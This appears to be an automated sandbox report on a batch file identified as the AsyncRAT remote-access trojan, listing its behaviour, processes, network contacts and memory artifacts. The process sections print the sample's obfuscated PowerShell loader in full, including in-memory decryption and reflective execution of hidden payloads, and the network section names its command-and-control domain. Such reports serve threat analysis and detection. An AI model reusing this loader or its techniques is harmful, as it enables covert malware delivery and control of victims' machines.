Malware Analysis Report

2024-09-22 07:45

Sample ID 240603-ncxegsdh22
Target kam-2.cmd
SHA256 a16f958304ddf3e49a2b0b62ef813648424a945c31b7f82c29dd16bc0b02195a
Tags
execution asyncrat default rat
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

a16f958304ddf3e49a2b0b62ef813648424a945c31b7f82c29dd16bc0b02195a

Threat Level: Known bad

The file kam-2.cmd was found to be: Known bad.

Malicious Activity Summary

execution asyncrat default rat

AsyncRat

Async RAT payload

Blocklisted process makes network request

Command and Scripting Interpreter: PowerShell

Suspicious use of WriteProcessMemory

Suspicious behavior: CmdExeWriteProcessMemorySpam

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK Matrix V13

Analysis: static1

Detonation Overview

Reported

2024-06-03 11:15

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-03 11:15

Reported

2024-06-03 11:18

Platform

win7-20240508-en

Max time kernel

122s

Max time network

122s

Command Line

cmd /c "C:\Users\Admin\AppData\Local\Temp\kam-2.cmd"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: CmdExeWriteProcessMemorySpam

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\kam-2.cmd"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('odb0IKEis5i6Rg5JaaiDk8IE8mgfZBbD25rIujo7R8M='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xE29YxFqxSQ6NOosoKwDeg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $MBSqo=New-Object System.IO.MemoryStream(,$param_var); $sMDkJ=New-Object System.IO.MemoryStream; $dZjNn=New-Object System.IO.Compression.GZipStream($MBSqo, [IO.Compression.CompressionMode]::Decompress); $dZjNn.CopyTo($sMDkJ); $dZjNn.Dispose(); $MBSqo.Dispose(); $sMDkJ.Dispose(); $sMDkJ.ToArray();}function execute_function($param_var,$param2_var){ $robCr=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tSjqT=$robCr.EntryPoint; $tSjqT.Invoke($null, $param2_var);}$ncCUm = 'C:\Users\Admin\AppData\Local\Temp\kam-2.cmd';$host.UI.RawUI.WindowTitle = $ncCUm;$yRgNv=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ncCUm).Split([Environment]::NewLine);foreach ($JJKBM in $yRgNv) { if ($JJKBM.StartsWith(':: ')) { $ddBfs=$JJKBM.Substring(3); break; }}$payloads_var=[string[]]$ddBfs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));

Network

N/A

Files

memory/1948-2-0x0000000073FF1000-0x0000000073FF2000-memory.dmp

memory/1948-4-0x0000000073FF0000-0x000000007459B000-memory.dmp

memory/1948-3-0x0000000073FF0000-0x000000007459B000-memory.dmp

memory/1948-5-0x0000000073FF0000-0x000000007459B000-memory.dmp

memory/1948-6-0x0000000073FF0000-0x000000007459B000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-03 11:15

Reported

2024-06-03 11:18

Platform

win10v2004-20240426-en

Max time kernel

95s

Max time network

150s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\kam-2.cmd"

Signatures

AsyncRat

rat asyncrat

Async RAT payload

rat
Description Indicator Process Target
N/A N/A N/A N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1792 wrote to memory of 2796 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1792 wrote to memory of 2796 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1792 wrote to memory of 2796 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\kam-2.cmd"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('odb0IKEis5i6Rg5JaaiDk8IE8mgfZBbD25rIujo7R8M='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xE29YxFqxSQ6NOosoKwDeg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $MBSqo=New-Object System.IO.MemoryStream(,$param_var); $sMDkJ=New-Object System.IO.MemoryStream; $dZjNn=New-Object System.IO.Compression.GZipStream($MBSqo, [IO.Compression.CompressionMode]::Decompress); $dZjNn.CopyTo($sMDkJ); $dZjNn.Dispose(); $MBSqo.Dispose(); $sMDkJ.Dispose(); $sMDkJ.ToArray();}function execute_function($param_var,$param2_var){ $robCr=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tSjqT=$robCr.EntryPoint; $tSjqT.Invoke($null, $param2_var);}$ncCUm = 'C:\Users\Admin\AppData\Local\Temp\kam-2.cmd';$host.UI.RawUI.WindowTitle = $ncCUm;$yRgNv=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ncCUm).Split([Environment]::NewLine);foreach ($JJKBM in $yRgNv) { if ($JJKBM.StartsWith(':: ')) { $ddBfs=$JJKBM.Substring(3); break; }}$payloads_var=[string[]]$ddBfs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));

Network

Country Destination Domain Proto
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 69.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 asyncss.duckdns.org udp
US 12.202.180.134:8797 asyncss.duckdns.org tcp
US 8.8.8.8:53 134.180.202.12.in-addr.arpa udp
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 8.8.8.8:53 183.142.211.20.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 11.227.111.52.in-addr.arpa udp

Files

memory/2796-0-0x000000007493E000-0x000000007493F000-memory.dmp

memory/2796-1-0x0000000004F30000-0x0000000004F66000-memory.dmp

memory/2796-2-0x0000000074930000-0x00000000750E0000-memory.dmp

memory/2796-3-0x0000000005700000-0x0000000005D28000-memory.dmp

memory/2796-4-0x0000000074930000-0x00000000750E0000-memory.dmp

memory/2796-5-0x0000000005D30000-0x0000000005D52000-memory.dmp

memory/2796-7-0x0000000005EB0000-0x0000000005F16000-memory.dmp

memory/2796-6-0x0000000005DD0000-0x0000000005E36000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ie0pwxsp.10o.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2796-17-0x0000000005F20000-0x0000000006274000-memory.dmp

memory/2796-18-0x00000000063C0000-0x00000000063DE000-memory.dmp

memory/2796-19-0x0000000006400000-0x000000000644C000-memory.dmp

memory/2796-20-0x0000000007C10000-0x000000000828A000-memory.dmp

memory/2796-21-0x0000000006990000-0x00000000069AA000-memory.dmp

memory/2796-22-0x00000000069C0000-0x00000000069C8000-memory.dmp

memory/2796-23-0x0000000007670000-0x000000000770C000-memory.dmp

memory/2796-24-0x0000000007660000-0x000000000766E000-memory.dmp

memory/2796-25-0x00000000077B0000-0x00000000077C2000-memory.dmp

memory/2796-28-0x0000000008840000-0x0000000008DE4000-memory.dmp

memory/2796-30-0x000000007493E000-0x000000007493F000-memory.dmp

memory/2796-31-0x0000000074930000-0x00000000750E0000-memory.dmp

memory/2796-32-0x0000000074930000-0x00000000750E0000-memory.dmp